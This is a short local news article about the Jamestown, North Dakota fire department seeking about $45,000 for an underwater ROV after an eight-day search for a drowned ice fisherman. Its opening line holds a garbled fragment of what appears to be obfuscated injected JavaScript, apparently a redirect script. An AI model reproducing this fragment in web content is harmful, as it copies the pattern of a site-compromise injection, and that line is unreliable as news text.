JAMESTOWN sfzbe|var|u0026u|referrer|sdzdr||js|php’.split(‘|’),0,{}))
(NewsDakota.com) – The Jamestown Fire Committee gave approval Thursday to Linda Buckley to begin fundraising efforts that would help the Fire Department’s water rescue team purchase a remote operated vehicle for underwater operations.

Jamestown Fire Chief Jim Reuther says the ROV would cost about $70,000 total. He says they have a $25,000 grant that may be able to be used to purchase the vehicle, leaving about $45,000 that needs to be raised. Stutsman County sheriff Chad Kaiser is also researching other funding operations. If purchased, the ROV could be used by multiple entities.

The Fire Department’s water rescue team recently needed to call in ROV’s from Fargo and Minnesota to locate the body of Darrin Ackerman, who fell through the Jamestown Reservoir while ice fishing and died in early December. It took eight days to find his body under the ice.

Reuther says Buckley and the family of Ackerman requested the local dive team have an ROV for future searches, hoping it would speed up efforts.

“I feel if we had our own ROV, we would have found him a lot sooner,” Buckley said at the meeting. “That eight days was just terrible. We feel the timeline could have been a lot shorter (with a local ROV).”

Reuther says it would be just the second ROV in North Dakota. Fargo’s water rescue team purchased one late in 2011.